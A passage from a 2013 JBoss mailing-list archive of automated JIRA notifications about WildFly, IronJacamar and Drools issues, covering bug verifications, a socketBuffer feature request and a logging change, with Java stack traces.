> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 02:17:03 2013
From: jira-events at lists.jboss.org (Gourav Mukherjee (JIRA))
Date: Wed, 11 Sep 2013 02:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2046) socketBuffer setting should
 be provided to allow fine tuning network communication.
In-Reply-To: <JIRA.12500463.1378880174030@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500463.1378880174030@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500463.1378880174030.19463.1378880223476@jira02.app.mwc.hst.phx2.redhat.com>

Gourav Mukherjee created WFLY-2046:
--------------------------------------

             Summary: socketBuffer setting should be provided to allow fine tuning network communication.
                 Key: WFLY-2046
                 URL: https://issues.jboss.org/browse/WFLY-2046
             Project: WildFly
          Issue Type: Feature Request
          Components: Web (JBoss Web)
    Affects Versions: 8.0.0.Final
            Reporter: Gourav Mukherjee
            Assignee: Remy Maucherat


In JBoss 5.1, there used to be a setting called socketBuffer which we could configure in the server.xml inside jbossweb.sar i.e. jbossweb.sar\server.xml, it looked something like this.

  <Connector protocol="HTTP/1.1" 
             port="8080" 
             address="${jboss.bind.address}" 
             connectionTimeout="20000" 
             redirectPort="8443" 
             socketBuffer="64000"/>

It would be nice to get this setting back because tuning this improves HTTP transfer performance.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 02:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 02:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1070) Memory leak if hashCode of
 Transaction isn't stable
In-Reply-To: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498669.1376567503000.19507.1378882083699@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803356#comment-12803356 ] 

RH Bugzilla Integration commented on JBJCA-1070:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> made a comment on [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522]

Verified on EAP 6.2.0 ER1
                
> Memory leak if hashCode of Transaction isn't stable
> ---------------------------------------------------
>
>                 Key: JBJCA-1070
>                 URL: https://issues.jboss.org/browse/JBJCA-1070
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> Happens in TransactionSynchronizer

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 02:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 02:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1070) Memory leak if hashCode of
 Transaction isn't stable
In-Reply-To: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498669.1376567503000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498669.1376567503000.19509.1378882083834@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1070?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803357#comment-12803357 ] 

RH Bugzilla Integration commented on JBJCA-1070:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> changed the Status of [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522] from ON_QA to VERIFIED
                
> Memory leak if hashCode of Transaction isn't stable
> ---------------------------------------------------
>
>                 Key: JBJCA-1070
>                 URL: https://issues.jboss.org/browse/JBJCA-1070
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> Happens in TransactionSynchronizer

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 02:48:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 02:48:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1058) XAResource should have its
 timeout value resetted
In-Reply-To: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496226.1373570697000.19515.1378882084198@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1058?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803358#comment-12803358 ] 

RH Bugzilla Integration commented on JBJCA-1058:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> changed the Status of [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522] from ON_QA to VERIFIED
                
> XAResource should have its timeout value resetted
> -------------------------------------------------
>
>                 Key: JBJCA-1058
>                 URL: https://issues.jboss.org/browse/JBJCA-1058
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.CR1
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.20.Final, 1.1.0.CR2
>
>
> Once the connection is returned to the pool

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 02:48:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 02:48:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1058) XAResource should have its
 timeout value resetted
In-Reply-To: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496226.1373570697000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496226.1373570697000.19517.1378882084335@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1058?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803359#comment-12803359 ] 

RH Bugzilla Integration commented on JBJCA-1058:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> made a comment on [bug 999522|https://bugzilla.redhat.com/show_bug.cgi?id=999522]

Verified on EAP 6.2.0 ER1
                
> XAResource should have its timeout value resetted
> -------------------------------------------------
>
>                 Key: JBJCA-1058
>                 URL: https://issues.jboss.org/browse/JBJCA-1058
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Core
>    Affects Versions: 1.0.19.Final, 1.1.0.CR1
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>             Fix For: 1.0.20.Final, 1.1.0.CR2
>
>
> Once the connection is returned to the pool

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 03:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 03:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-141) Rules run once completely on
 server, then only first rule executes
In-Reply-To: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492118.1368823580000.19538.1378882864677@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-141?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803362#comment-12803362 ] 

RH Bugzilla Integration commented on DROOLS-141:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> changed the Status of [bug 970094|https://bugzilla.redhat.com/show_bug.cgi?id=970094] from ON_QA to VERIFIED
                
> Rules run once completely on server, then only first rule executes 
> -------------------------------------------------------------------
>
>                 Key: DROOLS-141
>                 URL: https://issues.jboss.org/browse/DROOLS-141
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.Beta2
>         Environment: Mac OS X, Tomcat 7
>            Reporter: Jenna Schabdach
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR3
>
>         Attachments: growth_test.zip, SimpleRuleflowTest.zip
>
>
> Drools of either version mentioned loaded on a server execute stateless ruleflow once correctly the first time. After that, only the first rule executes. Similar to issue 2718.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 03:01:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 03:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-141) Rules run once completely on
 server, then only first rule executes
In-Reply-To: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492118.1368823580000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492118.1368823580000.19544.1378882865245@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-141?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803363#comment-12803363 ] 

RH Bugzilla Integration commented on DROOLS-141:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> made a comment on [bug 970094|https://bugzilla.redhat.com/show_bug.cgi?id=970094]

Verified in 5.3.1.BRMS-P04.
                
> Rules run once completely on server, then only first rule executes 
> -------------------------------------------------------------------
>
>                 Key: DROOLS-141
>                 URL: https://issues.jboss.org/browse/DROOLS-141
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final, 6.0.0.Beta2
>         Environment: Mac OS X, Tomcat 7
>            Reporter: Jenna Schabdach
>            Assignee: Mario Fusco
>             Fix For:  6.0.0.CR3
>
>         Attachments: growth_test.zip, SimpleRuleflowTest.zip
>
>
> Drools of either version mentioned loaded on a server execute stateless ruleflow once correctly the first time. After that, only the first rule executes. Similar to issue 2718.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 03:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 03:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1073) Resource adapter needs an
 explicit <xa-pool> in order to enable XA functionality
In-Reply-To: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499530.1377720569000.19547.1378882983426@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1073?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803364#comment-12803364 ] 

RH Bugzilla Integration commented on JBJCA-1073:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> changed the Status of [bug 991380|https://bugzilla.redhat.com/show_bug.cgi?id=991380] from ON_QA to VERIFIED
                
> Resource adapter needs an explicit <xa-pool> in order to enable XA functionality
> --------------------------------------------------------------------------------
>
>                 Key: JBJCA-1073
>                 URL: https://issues.jboss.org/browse/JBJCA-1073
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Common
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> The parser needs to look at <transaction-support> in addition

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 03:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 03:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1073) Resource adapter needs an
 explicit <xa-pool> in order to enable XA functionality
In-Reply-To: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499530.1377720569000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499530.1377720569000.19549.1378882983521@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBJCA-1073?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803365#comment-12803365 ] 

RH Bugzilla Integration commented on JBJCA-1073:
------------------------------------------------

Vladimir Rastseluev <vrastsel at redhat.com> made a comment on [bug 991380|https://bugzilla.redhat.com/show_bug.cgi?id=991380]

Verified on EAP 6.2.0 ER1
                
> Resource adapter needs an explicit <xa-pool> in order to enable XA functionality
> --------------------------------------------------------------------------------
>
>                 Key: JBJCA-1073
>                 URL: https://issues.jboss.org/browse/JBJCA-1073
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: Common
>    Affects Versions: 1.0.19.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.20.Final, 1.1.1.Final
>
>
> The parser needs to look at <transaction-support> in addition

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 04:39:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 04:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-924) Reduce the log level of
 optional components failing to start log message (JBAS011006 message id)
In-Reply-To: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12470562.1342479956000.19685.1378888743743@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803387#comment-12803387 ] 

RH Bugzilla Integration commented on WFLY-924:
----------------------------------------------

Osamu Nagano <onagano at redhat.com> made a comment on [bug 900711|https://bugzilla.redhat.com/show_bug.cgi?id=900711]

Backport the upstream fix into jboss-eap/6.x.
https://github.com/jbossas/jboss-eap/pull/390
                
> Reduce the log level of optional components failing to start log message (JBAS011006 message id)
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-924
>                 URL: https://issues.jboss.org/browse/WFLY-924
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>    Affects Versions: 8.0.0.Alpha2
>         Environment: JBoss EAP 6.0 GA, web services subsystem removed, war deployed containing Metro or CXF web services implementation
>            Reporter: Brad Maxwell
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha3
>
>
> It tries to create this class if CXF is packaged in the war: org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation 
> And this stack is logged as a warning:
> 11:08:40,879 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.test.war:main" from Service Module Loader
> 11:08:40,905 WARN  [org.jboss.as.ee] (MSC service thread 1-6) JBAS011006: Not installing optional component org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> If Metro is packaged in the war, it tries to load com.sun.xml.ws.transport.http.servlet.WSAsyncListener and logs a warning with this stack: 
> 16:48:57,302 WARN  [org.jboss.as.ee] (MSC service thread 1-1) JBAS011006: Not installing optional component com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1 due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 04:39:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 04:39:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-924) Reduce the log level of
 optional components failing to start log message (JBAS011006 message id)
In-Reply-To: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12470562.1342479956000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12470562.1342479956000.19693.1378888744153@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-924?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803388#comment-12803388 ] 

RH Bugzilla Integration commented on WFLY-924:
----------------------------------------------

Osamu Nagano <onagano at redhat.com> changed the Status of [bug 900711|https://bugzilla.redhat.com/show_bug.cgi?id=900711] from NEW to POST
                
> Reduce the log level of optional components failing to start log message (JBAS011006 message id)
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-924
>                 URL: https://issues.jboss.org/browse/WFLY-924
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: EE
>    Affects Versions: 8.0.0.Alpha2
>         Environment: JBoss EAP 6.0 GA, web services subsystem removed, war deployed containing Metro or CXF web services implementation
>            Reporter: Brad Maxwell
>            Assignee: jaikiran pai
>             Fix For: 8.0.0.Alpha3
>
>
> It tries to create this class if CXF is packaged in the war: org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation 
> And this stack is logged as a warning:
> 11:08:40,879 INFO  [org.jboss.as.osgi] (MSC service thread 1-1) JBAS011907: Register module: Module "deployment.test.war:main" from Service Module Loader
> 11:08:40,905 WARN  [org.jboss.as.ee] (MSC service thread 1-6) JBAS011006: Not installing optional component org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class org.apache.cxf.transport.http.Servlet3ContinuationProvider$Servlet3Continuation
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]
> If Metro is packaged in the war, it tries to load com.sun.xml.ws.transport.http.servlet.WSAsyncListener and logs a warning with this stack: 
> 16:48:57,302 WARN  [org.jboss.as.ee] (MSC service thread 1-1) JBAS011006: Not installing optional component com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1 due to exception: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011054: Could not find default constructor for class com.sun.xml.ws.transport.http.servlet.WSAsyncListener$1
>   at org.jboss.as.ee.component.ComponentDescription$DefaultComponentConfigurator.configure(ComponentDescription.java:606) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.ee.component.deployers.EEModuleConfigurationProcessor.deploy(EEModuleConfigurationProcessor.java:83) [jboss-as-ee-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
>   at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:116)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811)
>   at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746)
>   at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_30]
>   at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_30]
>   at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_30]

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:05:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 05:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.19758.1378890304251@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803404#comment-12803404 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

Tomas Schlosser <tschloss at redhat.com> made a comment on [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479]

I have created a little simpler reproducer (got rid of kagent, logger, settings, that were not necessary).
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 11 Sep 2013 05:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
